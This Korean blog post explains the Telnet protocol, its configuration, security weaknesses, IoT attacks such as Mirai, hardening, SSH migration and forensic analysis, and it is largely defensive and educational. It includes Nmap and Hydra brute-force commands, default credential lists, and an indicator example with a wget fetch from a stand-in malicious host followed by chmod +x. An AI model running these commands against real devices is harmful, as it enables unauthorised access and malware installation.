Daily CS) Telnet

goldenGlow_21·2025년 4월 15일

Daily CS

목록 보기

40/50

Telnet

client-server application protocol that provides access to virtual terminals of remote systems on local area networksor the Internet

오늘의 주제는 telnet이다. 이전 파이널 프로젝트에서도 취약점 탐색 때 나름 비중있게 다뤘던 주제인데... 조금 더 후속 조사를 해보니 꽤 파볼만한 것들이 많았더랬다. 오늘은 이것들을 한번 정리해보자.

1. Telnet의 개요와 작동 원리

1.1 Telnet 프로토콜의 정의 및 표준

Telnet(Terminal Network)은 원격지의 장치에 텍스트 기반으로 접속하여 명령어를 실행할 수 있게 해주는 TCP 기반 프로토콜이다.
RFC 854에 의해 표준화되었으며, 기본적으로 포트 23번을 사용한다.

Telnet은 IAC(Interpret As Command) 라는 특수 바이트를 통해 명령 협상을 수행하며, 이를 통해 옵션 협상, 터미널 종류 지정, 에코 기능 활성화 등을 협의한다. 이는 단순 명령 송수신이 아닌 세션 협상 기반의 상호작용을 의미한다.

주요 특징

텍스트 기반, CLI 방식
TCP/IP 기반, 비보안
네트워크 장비, 서버, 폐쇄망 환경에서 사용됨

표준 문서: RFC 854 (Telnet Protocol Specification), RFC 855~861 등 확장 문서 존재

1.2 OSI 7계층 중 Telnet의 위치

Telnet은 OSI 7계층 중 응용 계층(Application Layer) 에 해당한다.
즉, 사용자 인터페이스와 직접적으로 연결되는 계층에 위치하며, 하위 계층인 전송 계층(TCP 포트 23)을 통해 데이터가 전달된다.

계층 분석 예시

OSI 계층	역할	Telnet 관련 요소
7 - 응용	명령 송수신	사용자 명령, 서버 응답
6 - 표현	데이터 포맷	ASCII 텍스트
5 - 세션	세션 관리	Telnet 옵션 협상
4 - 전송	연결 보장	TCP (포트 23)
3 이하	라우팅 및 물리적 전송	IP, 이더넷 등

Telnet은 자체 암호화 기능이 없어 TLS/SSL 같은 보안 계층이 존재하지 않음. 이 점은 보안상의 치명적인 취약점으로 작용함.

1.3 Telnet 세션의 시작/유지/종료 구조

1) 세션 시작

클라이언트가 서버의 TCP 23번 포트에 접속 요청
서버가 TCP 핸드셰이크 수락 후 세션 생성
서버는 클라이언트에게 로그인 프롬프트 전송 (login: → password:)
클라이언트가 사용자 인증 후 명령어 입력 가능

2) 세션 유지

클라이언트는 명령어를 전송 (ASCII 텍스트)
서버는 명령 결과를 그대로 반환
필요한 경우 옵션 협상 (예: terminal type, window size 등) 수행

3) 세션 종료

클라이언트가 exit 또는 logout 명령어 입력
TCP 세션 종료 및 리소스 해제 (FIN 패킷 교환)

특이점: 비정상 종료 시에도 세션이 일부 지속될 수 있어, 서버 측 리소스 누수가 발생할 수 있음

1.4 가상 터미널(Virtual Terminal)의 개념

Telnet은 물리적인 터미널(단말기)을 네트워크를 통해 논리적으로 흉내 내는 가상 터미널(Virtual Terminal, VT) 환경을 기반으로 동작한다. 클라이언트는 운영체제 상의 소프트웨어 인터페이스(예: telnet 명령어, PuTTY, TeraTerm 등)를 통해 가상 터미널 세션을 생성하고, 서버 측 시스템(예: UNIX 서버, 라우터 등)은 이를 실제 로컬 터미널처럼 취급하여 처리한다.

1) VT100 계열 터미널 에뮬레이션

Telnet에서 사용하는 가상 터미널은 보통 VT100, VT220, xterm 등의 표준을 따른다. 이 표준들은 원래 물리적인 텍스트 단말기(Hardware Terminal)들이 구현하던 기능을 소프트웨어로 에뮬레이션한 것이다.

주요 특징

ANSI Escape Sequence 지원
- 예: \033[2J (화면 지우기), \033[H (커서 홈으로 이동) 등
- 이를 통해 Telnet 세션은 커서 위치 조작, 화면 클리어, 색상 적용, 특수 키 매핑 등을 구현함
터미널 협상(Negotiation)
- 클라이언트는 서버에 접속 시 자신이 어떤 터미널 타입을 사용하는지 알려줄 수 있으며, 서버는 이에 맞춰 출력 포맷을 조정함.
- 예: Terminal-type: xterm 또는 vt100 등
행/열 사이즈 설정
- Telnet 옵션 중 하나인 NAWS(Negotiate About Window Size)를 통해 클라이언트 창의 크기(예: 80x24)를 서버에 알림.
- 이는 less, vi, top과 같은 풀스크린 터미널 기반 프로그램의 출력 형식 결정에 사용됨.

2) 서버 측의 세션 처리 방식

서버는 Telnet 세션 요청이 들어오면, 로컬 사용자 세션을 생성하는 것처럼 하나의 가상 터미널 프로세스를 생성한다.
이 과정은 일반적으로 다음과 같은 방식으로 진행된다:

유닉스/리눅스의 경우, Telnet 서버(telnetd)는 내부적으로 login 또는 sshd와 유사한 세션을 열어 사용자의 shell (/bin/bash, /bin/sh 등)을 실행한다.
Windows에서 Telnet 서버를 운영하는 경우, 콘솔 세션이 생성되어 명령 프롬프트(cmd.exe) 또는 PowerShell 환경이 제공됨.

이때 사용자 입력은 한 줄 단위 또는 문자 단위로 서버에 전달되며, 서버는 해당 입력에 대한 출력을 가상 터미널 세션으로 다시 반환한다.
이 구조는 실제 키보드와 모니터로 구성된 터미널 환경과 거의 동일하게 동작한다.

3) 터미널 에뮬레이션의 보안적 고려 사항

Telnet의 가상 터미널 구현은 보안적으로 민감한 특성을 지닌다. 예를 들어:

에코 옵션 협상 실패 시, 사용자가 입력하는 비밀번호가 평문 그대로 화면에 출력될 수 있음.
특수 키(Ctrl+C, Ctrl+Z, Ctrl+D)와 같은 제어 입력이 OS의 신호(Signal)로 직접 전달되어, 세션 종료나 프로세스 중단을 유발할 수 있음.
VT100 escape sequence는 일부 취약한 클라이언트에서 터미널 인젝션 공격(terminal injection)에 악용되기도 한다.

4) 네트워크 장비에서의 활용

많은 네트워크 장비(시스코 라우터, 스위치 등)는 Telnet을 통해 접근할 수 있으며, 이들은 텍스트 기반의 가상 터미널을 통해 다음과 같은 작업을 수행하게 한다.

enable, configure terminal 명령어를 통한 장비 설정
ACL, NAT, VLAN, OSPF, BGP 설정 등 고급 네트워크 기능 관리
디버깅 로그 확인 및 실시간 트래픽 모니터링

이러한 CLI 환경은 대부분 VT100 호환 터미널로 설계되어 있으며, 화면 정렬, 컬러, 스크롤 영역 등을 완벽하게 구현해야 한다. 따라서, 터미널 호환성은 Telnet 클라이언트의 필수 요소이며, 전문 장비 관리를 위해서는 이 기능이 정확히 구현되어 있어야 한다.

2. Telnet의 프로토콜 구조와 명령 체계

2.1 Telnet의 데이터 형식과 구성

Telnet은 TCP 위에서 동작하는 텍스트 기반의 응용 계층 프로토콜로, 데이터 전송과 명령어 제어를 동일한 채널에서 수행한다. 모든 Telnet 메시지는 8비트 바이트 스트림으로 처리되며, 이 안에 일반 사용자 데이터와 Telnet 제어 명령이 함께 혼재되어 존재한다.

기본 포트: TCP 23번 사용
통신 방식: 세션 기반 양방향 스트림 통신 (Full-Duplex)

전송되는 데이터 구조

일반 ASCII 문자 → 사용자 입력 또는 출력
Telnet 명령 시퀀스 → 제어 기능(옵션 협상, 터미널 타입 설정 등)

Telnet은 명령어를 특수한 예약 바이트로 구분하는데, 이 중 가장 핵심은 IAC(Interpret As Command, 0xFF)다. 이 바이트가 등장하면, 그 뒤의 바이트들은 일반 데이터가 아니라 명령어로 해석된다.

2.2 IAC, DO/DONT, WILL/WONT 명령 협상 구조

Telnet의 핵심 기능 중 하나는 세션 초기 및 중간에 수행되는 옵션 협상(Negotiation) 이다. 이 기능은 클라이언트와 서버가 어떤 기능을 사용할지를 동적으로 합의하는 절차로 구성되며, 다음의 네 가지 기본 명령어 조합을 통해 구현된다:

명령	*바이트 값*	설명
IAC DO X	0xFF 0xFD X	상대방이 옵션 X를 수행하길 요청
IAC DON'T X	0xFF 0xFE X	상대방이 옵션 X를 수행하지 않도록 요청
IAC WILL X	0xFF 0xFB X	본인이 옵션 X를 수행할 의사가 있음
IAC WON’T X	0xFF 0xFC X	본인이 옵션 X를 수행하지 않겠음

예시 – Echo 옵션 협상 (옵션 번호 1)

서버: IAC DO 1 → 클라이언트에게 "너가 echo 기능을 수행해줘"
클라이언트: IAC WILL 1 → 동의하고 수행하겠다고 응답

자주 사용되는 Telnet 옵션 번호

1 → Echo
3 → Suppress Go Ahead (SGA)
24 → Terminal Type
31 → NAWS (Window Size Negotiation)
32 → Terminal Speed
34 → Linemode (줄 단위 전송 모드)

이러한 협상은 세션 초기에 자동으로 수행되며, 이후 필요한 시점에 재협상도 가능하다. 협상 실패 시 기본 동작(옵션 미사용)으로 전환된다.

2.3 Telnet 명령의 한계 및 문제점

Telnet의 명령 체계는 단순하지만, 몇 가지 구조적인 한계를 가지고 있다:

1) 명령/데이터 분리의 모호성

Telnet은 단일 스트림 상에서 명령과 데이터를 구분 없이 전송하며, IAC를 통해 명령을 구분한다. 하지만 0xFF 자체가 데이터로 사용될 경우 중복 이스케이프(IAC IAC) 처리가 필요해, 프로토콜 구현 시 혼동을 유발할 수 있다.

2) 협상 충돌

동시에 같은 옵션에 대해 서로 DO와 WILL을 보낼 경우, 경합 상태(Race Condition) 가 발생할 수 있다. 특히 서버와 클라이언트 구현이 다를 경우, 협상 상태의 불일치로 인해 기능이 작동하지 않거나 무한 협상이 발생할 수도 있다.

3) 확장성 부족

기능 협상은 바이트 코드 기반의 제한적인 프로토콜이기 때문에, 새로운 옵션 추가나 복잡한 상태 표현이 어렵다. 이후 등장한 SSH에서는 보다 구조적인 메시지 구조로 이를 해결했다.

4) 보안 기능 부재

Telnet은 암호화가 전혀 없는 평문 기반 프로토콜이기 때문에, 명령어와 협상 과정에서도 중간자 공격(MITM) 이나 패킷 인젝션 위험이 존재한다. 예를 들어 공격자가 중간에 IAC DO Terminal-Type 같은 명령을 주입해 클라이언트의 응답을 유도할 수 있다.

2.4 Raw Socket과 Telnet의 차이

Raw Socket은 TCP/UDP 프로토콜보다 더 아래 레벨에서 동작하는 소켓 인터페이스로, 개발자가 직접 패킷 구조를 정의하고 제어할 수 있는 기능을 제공한다. 반면 Telnet은 TCP 위에서 동작하는 응용 계층 프로토콜이며, 특정 규격의 명령 체계와 가상 터미널 구조를 전제로 한다.

항목	*Telnet*	*Raw Socket*
프로토콜 레벨	응용 계층 (TCP 위)	전송 계층 이하 (IP 또는 Ethernet 위)
사용 목적	터미널 세션 통신	패킷 직접 조작, 보안 도구, 스캐너 구현
데이터 처리	명령/데이터 혼합 스트림	헤더 및 페이로드 직접 구성
응용 예시	네트워크 장비 접속, 서버 관리	포트 스캐닝, 패킷 스니핑, IDS/IPS 테스트
보안	평문, 암호화 없음	구현에 따라 다름 (보안 수단 수동 구현)

실제 보안 도구를 개발하거나 침투 테스트 중 특정 프로토콜을 흉내내야 할 경우, Telnet보다는 Raw Socket 기반으로 직접 패킷을 조작하는 방식이 선호된다.

하지만 Telnet은 여전히 CLI 기반 장비 접근, 단순한 포트 확인 등의 작업에서는 유용한 도구로 사용되고 있다.

3. Telnet 서비스의 운영과 설정

3.1 Linux/Unix에서의 Telnet 서버 설치 및 구성

대부분의 리눅스 배포판에서는 기본적으로 Telnet 클라이언트만 포함되어 있으며, Telnet 서버(telnetd)는 별도 패키지로 제공된다. 대표적인 서버 패키지는 telnetd 혹은 krb5-telnetd (Kerberos 연동 가능 버전)이다.

설치 방법 예시 (Debian/Ubuntu 계열)

sudo apt update
sudo apt install telnetd

설치 방법 예시 (RHEL/CentOS 계열)

sudo yum install telnet-server

설치 후에는 Telnet 서버를 inetd 또는 xinetd 슈퍼 데몬을 통해 실행하거나, systemd 기반으로 직접 실행할 수 있다.

서비스 시작

sudo systemctl enable telnet.socket
sudo systemctl start telnet.socket`

기본 포트는 TCP 23번이며, 해당 포트가 방화벽에서 열려 있어야 외부 접속이 가능하다.

다만, 최신 배포판에서는 Telnet이 보안상 위험한 서비스로 간주되어 기본적으로 비활성화되어 있거나 설치조차 되지 않을 수 있다. 따라서 SSH 기반의 대안 사용이 일반적이다.

3.2 주요 설정파일 (`inetd`, `xinetd`) 이해

Telnet은 독립적인 데몬 형태로 실행되기보다는 inetd 혹은 xinetd와 같은 슈퍼 데몬에 의해 요청 시 실행되는 구조를 많이 사용한다. 이는 리소스 절약과 여러 소규모 서비스 통합 관리에 유리하다.

1) /etc/inetd.conf

inetd는 오래된 시스템에서 사용되는 슈퍼 데몬이며, 설정 파일은 /etc/inetd.conf에 위치한다.

telnet  stream  tcp  nowait  root  /usr/sbin/telnetd  telnetd

이 설정은 TCP 23번 포트에서 요청이 오면 telnetd를 실행하여 연결을 처리하도록 한다.

2) /etc/xinetd.d/telnet

보다 현대적인 xinetd를 사용하는 경우, Telnet 설정은 /etc/xinetd.d/telnet에 별도로 존재한다.

service telnet
{
    disable         = no
    socket_type     = stream
    wait            = no
    user            = root
    server          = /usr/sbin/in.telnetd
    log_on_failure  += USERID
}

여기서 disable = no로 설정해야 Telnet 서비스가 활성화되며, xinetd 재시작 시 적용된다.

sudo systemctl restart xinetd

3.3 Windows 환경에서의 Telnet 운영

Windows에서는 기본적으로 Telnet 클라이언트는 설치되어 있으나, 서버 기능은 비활성화되어 있다. 서버 기능을 사용하려면 “Telnet Server” 기능을 수동으로 설치해야 한다.

1) Telnet Client 설치:

PowerShell 명령어

Enable-WindowsOptionalFeature -Online -FeatureName TelnetClient

2) Telnet Server 설치 및 실행:

dism /online /Enable-Feature /FeatureName:TelnetServer
net start telnet

관리 도구 (tlntadmn)를 통한 설정도 가능하며, 최대 연결 수, 인증 방식, 포트 설정 등을 제어할 수 있다.

3) Windows의 인증 방식

기본 인증: Windows 사용자 계정을 사용
명령어 예시:

tlntadmn config sec=+ntlm

NTLM 인증을 활성화하여 패스워드 평문 노출을 완화할 수 있으나, 근본적인 암호화는 되지 않으므로 여전히 보안 취약하다.

3.4 포트 바인딩, 인증 설정, 접근 제어

1) 포트 바인딩 변경

기본적으로 Telnet은 TCP 23번 포트를 사용하지만, 설정 파일에서 다른 포트로 변경 가능하다.
예시 (xinetd 기준):

port = 2323

변경 후 방화벽, 라우터 등의 규칙도 함께 수정해야 한다.

2) 인증 설정

Telnet은 자체적인 인증 메커니즘을 가지지 않으며, 기본적으로 운영체제 계정 기반 로그인을 사용한다. 보안을 강화하기 위해 PAM(Pluggable Authentication Modules) 연동 설정을 적용하거나, Kerberos 기반의 krb5-telnetd를 사용하는 방식이 존재한다.

PAM 설정 경로 (예시)

/etc/pam.d/login

3) 접근 제어

/etc/hosts.allow 및 /etc/hosts.deny 파일을 이용하여 접근 제어가 가능하다.

예시 – 특정 IP만 허용

# /etc/hosts.allow
in.telnetd: 192.168.1.10

# /etc/hosts.deny
in.telnetd: ALL

또한 iptables 또는 firewalld를 통해 특정 IP 또는 포트 수준에서의 접근 제어도 설정 가능

sudo iptables -A INPUT -p tcp --dport 23 -s 192.168.1.10 -j ACCEPT

4. Telnet의 보안적 한계와 공격 벡터

4.1 평문 전송에 따른 스니핑/중간자 공격

Telnet은 설계 당시 보안 고려가 거의 없었던 시대의 프로토콜로, 모든 데이터가 암호화 없이 평문(plaintext) 으로 전송된다. 이는 사용자의 ID, 비밀번호, 입력 명령어, 출력 결과 등 모든 정보가 그대로 네트워크를 통해 전달됨을 의미하며, 패킷 스니핑(packet sniffing) 이나 중간자 공격(Man-in-the-Middle, MITM) 에 매우 취약하다.

대표적 공격 방식

공격자가 같은 네트워크 상에 있을 경우, Wireshark, tcpdump 같은 도구를 통해 사용자의 Telnet 로그인 정보와 세션 내용을 그대로 탈취할 수 있다.
ARP 스푸핑(ARP Spoofing)을 병행하여 중간자 위치를 인위적으로 형성한 뒤, Telnet 통신을 중간에서 가로채고 변조하는 것도 가능하다.

실제로 대학 캠퍼스, 카페 공유 네트워크 등에서 보안이 설정되지 않은 공유기에 연결된 사용자의 Telnet 세션이 간단한 패킷 캡처로 노출된 사례가 다수 보고됨.

4.2 인증 우회 및 백도어 접속 사례

Telnet은 기본적으로 운영체제 수준의 사용자 계정 인증만을 사용하는데, 이 인증 절차조차 평문으로 노출되며, 시스템의 계정 보안에 직접 연결되는 구조로 인해 위험성이 높다.

취약점 기반 인증 우회

Telnet 데몬의 버퍼 오버플로우, 세션 핸들링 취약점, 패치되지 않은 취약한 서비스(in.telnetd) 등을 이용해 공격자가 인증 없이 셸 접속에 성공하는 사례가 존재.
예: CVE-2000-0920 — 특정 버전의 Solaris in.telnetd에서 포맷 스트링 취약점을 통해 루트 권한 획득

백도어 접속

공격자가 이미 침입한 시스템에 Telnet 서비스를 백그라운드에서 활성화시키고, 포트를 변경하거나 접근 로그를 남기지 않도록 설정하여 은밀한 백도어 경로로 사용하는 경우도 많다. xinetd 설정을 수정하거나, 직접 telnetd를 구동한 후 방화벽 설정을 우회하는 방식이다.

4.3 자동화 공격 도구와 스캐닝 기법

Telnet은 전형적인 레거시 서비스로 여전히 수많은 IoT 장비나 오래된 시스템에서 운영되고 있으며, 공격자들은 이를 표적으로 삼아 자동화된 스캐닝과 크리덴셜 브루트포싱 공격을 수행한다.

주요 도구:

Nmap: TCP 23번 포트가 열려 있는지를 확인하기 위한 스캔

nmap -p 23 --script telnet-brute <target>

Hydra: ID/비밀번호 조합에 대한 사전 대입 공격

hydra -t 4 -l root -P passlist.txt telnet://<target>

Metasploit Framework: auxiliary/scanner/telnet/telnet_login 모듈을 통해 대량의 시스템을 대상으로 자동 로그인 시도

(공격자 기준)전술적 접근

공격자는 대량의 IP 주소 범위를 대상으로 스캔한 후, Telnet이 열려 있는 장비에 대해 기본 크리덴셜(예: admin:admin, root:1234 등) 을 입력하여 접속 시도한다. 특히 IoT 장비에 자주 사용되는 기본 계정은 공개된 사전(wordlist)에 포함되어 있어 매우 쉽게 침입 가능하다.

4.4 IoT 디바이스 대상 실전 침해 사례

Telnet의 보안 취약점은 IoT 보안 침해의 핵심 루트 중 하나로 꼽힌다. 많은 IoT 장비가 기본적으로 Telnet 서비스를 열어두고 있으며, 관리자 계정도 기본값으로 고정되어 있는 경우가 많아 공격의 주 대상이 된다.

유명 사례

Mirai 봇넷 (2016)
- IoT 장비에 탑재된 Telnet 포트를 스캔하여 기본 계정으로 접속.
- 접속에 성공하면 장비에 악성코드를 설치하고, 봇넷에 편입시켜 대규모 DDoS 공격에 이용함.
- 단 몇 주 만에 수십만 대의 IoT 기기를 감염시킴.
Hajime, Bashlite 등의 변종 봇넷
- 모두 Telnet을 주요 진입점으로 사용.
- 이들 악성코드는 Telnet을 통해 기기에 접근한 후, 시스템 정보를 수집하고 다른 기기 확산을 시도함.

취약 장비 예

중국산 저가 CCTV, NAS, 공유기, 라우터 등.
네트워크에 연결된 상태에서 포트 23이 외부에 노출되어 있고, 계정 정보가 변경되지 않은 상태

이러한 공격은 특히 운영자가 장비 초기 설정을 그대로 두었거나, 펌웨어 업데이트가 되지 않은 경우 치명적인 피해로 이어질 수 있다.

5. 보안을 위한 Telnet 보호 기법

5.1 포트 필터링 및 접근제어 방법

Telnet은 기본적으로 TCP 23번 포트를 사용하며, 이를 외부에 무방비로 노출할 경우 자동화된 스캐닝 및 브루트포스 공격의 대상이 되기 쉽다. 따라서 포트 필터링과 ACL(Access Control List) 을 활용해 접근을 최소화하는 것이 1차 방어선이다.

Linux iptables 설정 예시

iptables -A INPUT -p tcp --dport 23 -s 192.168.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 23 -j DROP

이 예시는 내부 네트워크에서만 Telnet 접속을 허용하고, 외부 접속은 차단

방화벽 기반 필터링

기업 네트워크에서는 네트워크 레벨에서 포트 23을 기본 차단하고, 특별한 경우에만 IP 허용 목록(whitelist) 기반으로 개방한다. 이는 단순한 접근 차단을 넘어서 공격 표면 자체를 줄이는 데 효과적이다.

5.2 접속 제한 및 세분화된 접근 통제

단순 포트 차단만으로는 불충분하며, 서비스 단에서 사용자별/시간별/장치별로 접근을 제한할 수 있는 기능도 적극 활용해야 한다. Telnet은 이를 위해 다음과 같은 방법들을 사용할 수 있다:

/etc/hosts.allow 및 /etc/hosts.deny 설정을 통한 접근 제어

# /etc/hosts.allow
in.telnetd: 192.168.1.100

# /etc/hosts.deny
in.telnetd: ALL

xinetd 접근 통제 설정: /etc/xinetd.d/telnet 내에서 only_from, no_access 옵션으로 특정 호스트 제어 가능

only_from = 192.168.1.0/24
no_access = 10.0.0.0/8

Fail2Ban 등 침입 시도 자동 차단 도구 사용: Telnet 로그를 실시간 감시하고, 다중 로그인 실패 시 IP 차단

이러한 방식은 단순히 서비스 실행을 제어하는 것을 넘어, 정상 사용자만 Telnet을 활용할 수 있도록 하는 최소 권한 원칙(Least Privilege Principle) 을 적용하는 방식이다.

5.3 SSH로의 마이그레이션 절차

Telnet은 구조적으로 암호화가 불가능하므로, 궁극적인 보안 강화 방안은 SSH(Secure Shell)로의 전환이다. SSH는 동일한 기능을 제공하면서도 모든 통신을 공개키 기반으로 암호화하며, 추가적으로 키 인증, 파일 전송(SCP/SFTP), 터널링 기능도 제공한다.

마이그레이션 절차 예시 (Ubuntu 기준):

Telnet 서비스 비활성화

sudo systemctl disable telnet.socket
sudo systemctl stop telnet.socket

OpenSSH 설치 및 활성화

sudo apt install openssh-server
sudo systemctl enable ssh
sudo systemctl start ssh

SSH 키 기반 로그인 설정

~/.ssh/authorized_keys 에 공개키 등록
/etc/ssh/sshd_config에서 PasswordAuthentication no로 설정 시 비밀번호 로그인 차단 가능

보안 강화 설정

Root 로그인 비활성화 (PermitRootLogin no)
포트 변경 (Port 22 → 다른 포트로 변경)
접속 제한 (AllowUsers, AllowGroups 설정)

SSH로의 전환은 단순히 보안을 강화하는 것을 넘어, 원격 접속 및 자동화 시스템 전반의 신뢰성과 무결성을 확보하는 필수 절차로 간주된다.

5.4 VPN 또는 Gateway를 통한 보호

Telnet을 어떻게든 유지해야 할 환경이라면, 네트워크 자체를 보호할 수 있는 추가적인 계층 방어 구조가 필수다. 이 경우, VPN 또는 보안 게이트웨이를 통해 Telnet 세션을 암호화된 터널로 감싸는 방식을 사용할 수 있다.

1. VPN 기반 보호

IPSec 또는 SSL 기반 VPN을 구성한 후, 내부망으로의 Telnet 접속을 VPN을 통해서만 허용
이 방식은 외부에서는 Telnet 포트가 노출되지 않으므로, 스캐닝 및 침투 시도 자체를 차단

2. Bastion Host 또는 Jump Server 구성

내부망의 Telnet 대상 서버 앞에 중계 서버(Bastion Host) 를 두고, 외부 사용자는 SSH로 이 중계 서버에 접속한 후 Telnet을 사용
접근 로그, MFA 설정, 포트 포워딩 통제 등 추가 보안 요소를 함께 설정할 수 있음

3. TLS 터널링 또는 Stunnel 활용

Stunnel을 이용하여 Telnet을 TLS로 감싸는 방식으로 강제 암호화 계층 추가

[telnet]
accept = 992
connect = 23
cert = /etc/stunnel/stunnel.pem
key = /etc/stunnel/stunnel.key

이러한 우회적 보안 방식은 Telnet을 완전히 배제할 수 없는 환경에서도 기본적인 보안 수준을 크게 향상시킬 수 있는 대안이 된다.

6. Telnet 통신의 패킷 분석 및 리버스 엔지니어링

6.1 Wireshark로 Telnet 세션 분석하기

Telnet은 암호화되지 않은 평문 통신을 사용하기 때문에, Wireshark 같은 네트워크 패킷 분석 툴을 통해 손쉽게 통신 내용을 확인할 수 있다. 이는 보안 관점에서는 큰 취약점이지만, 교육, 포렌식, 리버스 엔지니어링 측면에서는 매우 유용한 분석 기회를 제공한다.

필터 설정

Telnet은 TCP 23번 포트를 사용하므로, Wireshark에서 다음과 같은 디스플레이 필터를 사용할 수 있다.

tcp.port == 23

tcp.dstport == 23 || tcp.srcport == 23

세션 내용 보기

Wireshark에서 Telnet 세션의 내용을 보려면, 패킷을 선택한 후 Follow → TCP Stream을 선택하면 된다. 이 기능은 클라이언트가 입력한 명령과 서버의 응답을 문자열로 볼 수 있게 해준다.

세션 식별 요소

Telnet 연결은 TCP 3-way handshake 후 IAC(Interpret As Command) 바이트(0xFF)로 시작하는 옵션 협상 패킷들로 구성되며, 이 초반 부분만 분석해도 클라이언트와 서버가 어떤 기능을 사용하도록 협의했는지 확인 가능하다.

6.2 명령/응답 구조 분석 방법

Telnet은 기본적으로 클라이언트-서버 간 텍스트 기반 상호작용이며, 내부적으로는 특정 제어 바이트를 통해 명령 협상이 이루어진다.

IAC 기반 명령 협상 구조

Telnet의 제어 명령은 모두 0xFF (IAC, Interpret As Command) 바이트로 시작한다. 그 뒤를 따르는 명령 코드는 다음과 같다:

명령	HEX	설명
DO	FD	상대방에게 해당 옵션을 사용하라고 요청
DON'T	FE	해당 옵션을 사용하지 말라고 요청
WILL	FB	자신이 해당 옵션을 사용하겠음을 선언
WON'T	FC	자신이 해당 옵션을 사용하지 않겠음

예시

IAC DO ECHO (0xFF 0xFD 0x01) → 클라이언트가 서버에게 echo 기능을 사용하라고 요청
IAC WILL SUPPRESS GO AHEAD (0xFF 0xFB 0x03) → 서버가 해당 옵션 사용을 선언

데이터 전송 구조

협상 이후에는 단순한 텍스트 전송이며, 각 명령어는 \r\n 으로 구분된다. 따라서 Raw 패킷에서도 명령과 응답을 쉽게 분리해낼 수 있다.

이러한 구조는 커스텀 패킷 리플레이 도구 제작, 혹은 침해 대응 시 세션 재구성에 매우 유용하다.

6.3 악성 Telnet 세션의 행위 지표

실제로 공격자들은 Telnet을 통해 매우 단순하지만 효과적인 초기 침투를 시도한다. 평문 인증 구조, 포트 고정, 자동화 공격 도구 지원 등의 특징으로 인해 보안 상의 사각지대가 발생하기 쉽다.

공통적인 IoC(Indicators of Compromise)

단시간 내 수십~수백 건의 Telnet 접속 시도
사용자명/비밀번호로 admin/admin, root/root, 1234, guest 등 잘 알려진 크리덴셜 사용
접속 후 바로 wget, curl, tftp 명령을 통한 바이너리 다운로드 시도
세션 내에서 /bin/sh, chmod +x, nohup 등의 명령 호출 확인

패턴 예시 (Wireshark 또는 로그 상)

"Login: root"
"Password: 1234"
"BusyBox v1.21.1"
"wget http://malicious.domain/malware.arm7"
"chmod +x malware.arm7"

로그 상 키워드로 탐지

telnetd[pid]: connection from
login incorrect
shell spawned

이러한 행위 지표들은 SIEM, IDS, honeypot 등의 시스템에서 탐지 규칙으로 활용 가능하며, Telnet 기반 침투 시나리오의 초기 탐지 및 차단에 매우 효과적이다.

6.4 Telnet 기반 악성코드 (Mirai 등) 분석 사례

대표적인 Telnet 기반 악성코드로는 Mirai 봇넷이 있다. Mirai는 주로 IoT 장비의 기본 Telnet 포트를 노려 대규모 감염 및 DDoS 공격에 사용되었다.

동작 원리 요약

인터넷 전체를 대상으로 TCP 23, 2323 포트 스캔
Telnet 서비스에 접속 후 내장된 크리덴셜 딕셔너리로 로그인 시도
로그인 성공 시 대상 시스템에 명령어 전송 (ex. wget, tftp)
악성 바이너리 다운로드 및 실행
C2 서버와 통신 시작 및 명령 대기

Mirai의 Telnet 크리덴셜 목록 예시

root:root
admin:admin
user:user
guest:guest

악성 행위 확인 지표

프로세스 명: /bin/busybox MIRAI
비정상적인 Telnet outbound 접속
지속적인 포트 23 탐색 로그
netstat 또는 ps 명령 실행 후 결과 숨김 시도

포렌식 분석 툴에서의 활용

Volatility로 메모리 덤프 분석 시, Telnet 세션 내 악성 명령 추적
Suricata/Snort로 트래픽 기반 룰 생성

Mirai 외에도 Gafgyt, Hajime 등의 여러 변종 악성코드가 Telnet을 통해 확산되었으며, 보안이 취약한 라우터, DVR, NAS, IP 카메라 등에서 높은 감염률을 보였다.

7. Telnet의 활용, 제한, 그리고 필드에서의 사용

7.1 네트워크 장비 설정에서의 실무 활용

Telnet은 여전히 라우터, 스위치, 방화벽 등 네트워크 장비의 CLI 인터페이스에 접근하기 위한 관리 수단으로 사용되는 경우가 있다. 이는 특히 구형 네트워크 장비나, 기본 SSH 기능이 없는 저가형 장비에서 두드러진다.

활용 예

Cisco IOS 기반 장비에서 line vty를 통한 Telnet 설정
H3C, D-Link, MikroTik 등 일부 벤더의 초기 장비 접근
L2 스위치 설정 변경 시, 로컬 네트워크 내 빠른 CLI 접속 수단으로 사용

장점

클라이언트 도구 설치 불필요 (기본 OS에 내장된 telnet 명령으로 가능)
빠른 연결 및 응답속도
일부 상황에서 SSH보다 적은 자원 소모

보안 단점

인증정보 및 명령어가 모두 평문 전송됨
세션 하이재킹 및 스니핑 위험 존재
관리자 IP 허용 목록 설정 등 추가 보완이 필수

실무에서는 Telnet을 사용할 경우 ACL 설정, VLAN 분리, OOB 관리망 구성 등 추가 보안 조치가 필수적으로 병행되어야 한다.

7.2 레거시 및 폐쇄망 환경에서의 사용

폐쇄망(망분리, 내부망, SCADA 등)이나 레거시 시스템에서는 SSH가 도입되기 이전부터 Telnet이 기본 통신 수단으로 사용되고 있었기 때문에, 여전히 운영상 제거가 어려운 사례들이 존재한다.

대표적 적용 환경
- 병원 PACS 서버, 원격 진단 장비
- 공장 자동화 장비(HMI, PLC)
- 금융권 메인프레임 장비와의 연결
- 통신사 백오피스 시스템의 TTY 접속
사용 이유
- SSH 미지원 장비 존재
- 폐쇄망 내 보안 리스크가 상대적으로 낮다고 판단
- 시스템 전체 변경 시 리스크와 비용이 매우 크기 때문
운영상 고려사항
- 접속 가능 IP 제한 (host.allow / firewall)
- 세션 로그의 저장 및 점검 (syslog, auditd)
- 가능하면 관리용 게이트웨이를 통해 Telnet 프록시 운용

이러한 환경에서는 VPN 내부 전용 접근, 혹은 접속 후 즉시 SSH로 이관하는 방식이 권장된다.

7.3 포렌식에서의 Telnet 로그 활용

Telnet 세션은 명령어 기반 상호작용의 특성상 정형화된 로그 패턴을 남기며, 이를 기반으로 포렌식 분석이 가능하다. 특히 사고 대응(IR) 및 침해 탐지(DFIR) 관점에서 유용하다.

분석 가능한 로그 유형

/var/log/secure 또는 auth.log: 로그인 시도, 성공/실패 여부
bash_history: 명령어 히스토리
Telnet 서버 자체 로그 (예: telnetd, xinetd 로그)
네트워크 캡처 (PCAP)에서 세션 추출

활용 예시

공격자가 접속 후 사용한 명령 추적
동일 공격자가 여러 시스템에 동일한 Telnet 접근 시도 여부 확인
악성 코드 설치 루트 및 백도어 개방 확인

로그 복원 및 추적 기법

tcpdump로 캡처된 PCAP 파일에서 Telnet 세션 추출
